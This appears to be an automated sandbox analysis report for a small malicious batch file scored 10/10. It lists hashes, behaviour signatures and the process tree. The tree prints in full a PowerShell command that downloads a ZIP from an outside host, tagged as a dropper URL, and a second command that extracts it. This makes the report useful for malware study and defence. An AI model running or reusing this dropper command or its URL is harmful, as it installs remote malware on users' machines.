1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1562s
max time network
1567s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 01:31

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General

Target

tesy - Copy (11).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1652	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1652	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 1652	1448	cmd.exe	29
PID 1448 wrote to memory of 1652	1448	cmd.exe	29
PID 1448 wrote to memory of 1652	1448	cmd.exe	29
PID 1448 wrote to memory of 2772	1448	cmd.exe	30
PID 1448 wrote to memory of 2772	1448	cmd.exe	30
PID 1448 wrote to memory of 2772	1448	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
609cea56f5981c652101a8c346ca79e4

SHA1
d5ebcd1d24432c3e36257cccfd6198061e0fbf51

SHA256
41a1e108e158e859893691a52dd7ddd43f1bed9d84ce0929eb63d3cbf37a4c87

SHA512
051633f576600d9cd04706343fd31c41d4133c3e81ac74c14bea6b69b6bf3838c29fc9397e1a8c99d8d0c0dcd8517febd5df9c6c807707fc36f79486602592c7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D73W7RTDRPEAU5FMZ5K2.temp

Filesize
7KB

MD5
609cea56f5981c652101a8c346ca79e4

SHA1
d5ebcd1d24432c3e36257cccfd6198061e0fbf51

SHA256
41a1e108e158e859893691a52dd7ddd43f1bed9d84ce0929eb63d3cbf37a4c87

SHA512
051633f576600d9cd04706343fd31c41d4133c3e81ac74c14bea6b69b6bf3838c29fc9397e1a8c99d8d0c0dcd8517febd5df9c6c807707fc36f79486602592c7

Download Submit
memory/1652-13-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/1652-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1652-7-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/1652-9-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1652-10-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/1652-11-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1652-4-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/1652-6-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1652-5-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2772-20-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-19-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/2772-21-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2772-22-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-23-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2772-24-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2772-25-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2772-26-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download